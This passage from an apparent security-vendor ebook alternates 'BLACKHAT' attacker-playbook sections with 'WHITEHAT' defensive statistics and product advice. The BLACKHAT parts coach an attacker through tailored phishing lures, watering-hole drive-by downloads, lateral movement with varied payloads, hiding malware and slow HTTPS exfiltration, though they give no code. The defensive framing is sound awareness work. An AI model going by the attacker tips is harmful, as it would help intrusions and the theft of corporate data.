The most common corporate password is Password1, because it just barely meets the minimum complexity requirements of Active Directory for length, capitalization and numerical figures⁶

Source:

⁴www.liebsoft.com/Password_Security_Survey/

⁵www.liebsoft.com/Password_Security_Survey/

⁶www.trustwave.com/global-security-report

⁷https://securosis.com/assets/library/main/quant-survey-report-072709.pdf

BLACKHAT {Section}

Play 7: Reinvent Old Web & Email Attacks

Once your crew has done its homework on a target, it’s time to cast your line and wait for a bite. Some of the most effective initial intrusion plays are fundamentally pretty old-school in nature—you’re just phishing people with fake emails, IMs or social media messages to trick them into visiting an infected site or downloading a malicious executable. Now use the information you gathered to custom fit that interaction! Craft a lure that’s believable and build a hook that seems so painless that no one even notices they’ve been landed.

Do it like this:

Example 1: Your hackers just found a killer vulnerability in a stock trading platform but you need control of a machine with access to exploit it. Fortunately for you, it’s football season and there are more than a few football fanatics in the stock broker community. Since most of the companies you’re targeting are based in Manhattan, you use SQL injection to strategically compromise the homepage of two New York NFL teams with malicious code that downloads on visitors’ machines.

To keep pesky reputation-based filters from finding your website infection, you set it up so that it will only interact with machines working within a block of IP addresses originating from Manhattan.

Example 2: You’ve found some middle manager in accounting who’s got access to systems that hold tons of saleable financial and customer data. You chum it up with him on Facebook, convincing him you met him at an accounting professional group conference. Through your friend status you find out his real passion isn’t ledger books but photography. So, you task your hackers and coders to build a basic photography buff website with some hidden drive-by-download payloads. While he looks at tips on digital SLRs, your malicious payload silently loads in the background.

Example 3: You’ve gotten your hands on the organizational chart of a target company and read in a company blog about a strategic new hire of John Smith in the marketing department. You create a Gmail account under the name of the HR manager and use it to write an email that looks like HR blew it and gave everyone info on Smith’s salary and benefits.

They open the attachment, “JohnSmithcompensation.xls,” and bang, curiosity killed the network.

WHITEHAT {Section}

Intel About The Enemy

Advanced attackers are increasingly using strategic web compromises to infect their targets via drive-by download: “The goal is not large scale malware distribution through mass compromises.

Instead the attackers place their exploit code on websites that cater towards a particular set of visitors that they might be interested in.” –Shadowserver

*********************************************************************

The examples named above are just the tip of the iceberg in terms of the type of creativity targeted attacks are employing to personalize their intrusion attempts. Secure web and email gateways are critical to stopping all manifestations of blended email and web attacks.

As Example 1 illustrates, old web filtering technology won't always work—techniques like initiating IP address-specific malware downloads can get around defenses that depend on reputation filtering. This is where advanced technology with real-time code inspection comes into play.

Facts

50% of targeted attacks initially occur through web use

48% of targeted attacks initially occur through e-mail use

2% enter through local devices

BLACKHAT {Section}

Play 8: Think Sideways

One backdoor into a corporate network might be good, but more is always better. If you want to stay on a network for a long time, you’ve got to use that initial client-side pwnage to move sideways through the network.

That way, if your first intrusion is detected and your malware package is eliminated from that machine, you’ll still keep your hands on the steering wheel elsewhere.

The secret? You’ve got to propagate with diversity. You need to use completely different types of payloads on different systems because once one type is found out, odds are they’re going to scan the network looking for everything that looks like that sample. But if you control a bunch of endpoints with different types of malware, they’ll probably never even know they’re still compromised.

WHITEHAT {Section}

Intel About The Enemy

41.2% of the malware uses HTTPS to exfiltrate data

29.4% uses FTP

11.8 % uses SMTP

*********************************************************************

Targeted attacks are so ingenious these days that even with the tools and practices we've suggested already, there's still a chance that some attacks will slip through. Always operate under the assumption that you've already been hacked and utilize practices and technologies that will seek out existing infections, risky security configurations and any suspect file system changes that could be a red flag of infection.

Facts

In 76% of incident response investigations, a third party responsible for system support, development and/or maintenance of business environments introduced the security deficiencies.

88% of targeted malware remains undetected by traditional anti-virus

BLACKHAT {Section}

Play 9: Hide In Plain Sight

Stealth is the name of the game in these targeted attacks. Sometimes you just want to do the old smash and- grab, where you want to get in and out of the network with as much loot as possible or with a very specific piece of information. But generally the most profitable way is to drain the database is a little at a time for a LONG time.

Put some technical noise dampeners on your intrusions.

You don’t want to knock over any expensive vases while you digitally cat burgle the place, do you? Every movement should be planned to avoid setting off any alarms. As you drop tools on systems to aggregate data and control backdoors, here are some tips:

• Avoid self-replicating malware

• Hide malware in system folders and get them to look like common processes

• Make use of webmail accounts to route SSL-encrypted command-and-control traffic to your backdoors

• Use packer utilities to hide malicious binaries

• If you can, store some malware components in the cloud

Play 10: Take Data Quietly

So maybe you’re a l33t spearphisher, you’re wicked good taking over a network and you’ve got a nose like a bloodhound for juicy data. It all amounts to nada if you can’t get the data out of the network. Be patient!

Quiet and slow exfiltration makes it easier to steal larger stores of information without setting off alarms that will shut you down midstream.

Lucky for you, most companies today don’t set up their firewalls to block outbound traffic so you have a lot of options.

Public web traffic can prove to be one of the most efficient ways of slowly leaking data off the network. HTTPS traffic can have added benefit of steering clear of data leak prevention tools by hiding data under cloak of SSL.

WHITEHAT {Section}

Intel About The Enemy

Because the endgame for any targeted attack is to steal data, it only makes sense to depend on data-centric security tools to frustrate adversaries. This can be accomplished by understanding the context of the data and detecting malicious network application traffic that is dragging the data out through application-aware, next generation firewalls.

The use of encryption to hide attacks and theft of data is on the rise. Over 25 percent of all data exfiltrated by attackers is encrypted by cyber criminals. Also critical are encryption techniques that render data useless even if it is exfiltrated.

*********************************************************************

Network monitoring tools have advanced considerably over the years to better find common signs of attacks, but attackers do a good job staying one step ahead of alerting technology. One of the most effective tools organizations have in their struggle to discover malicious activity is system information—but we have to know what to look for. That means correlating small events alerts from across the infrastructure so that one big alarm sounds when enough of them happen at once. It's a specialty of security information and event management (SIEM) tools and the skilled analyst that know how to use them—both indispensible in the fight against targeted attacks.

 " You Have To get Your Hands Dirty To Know How To Keep Them Clean"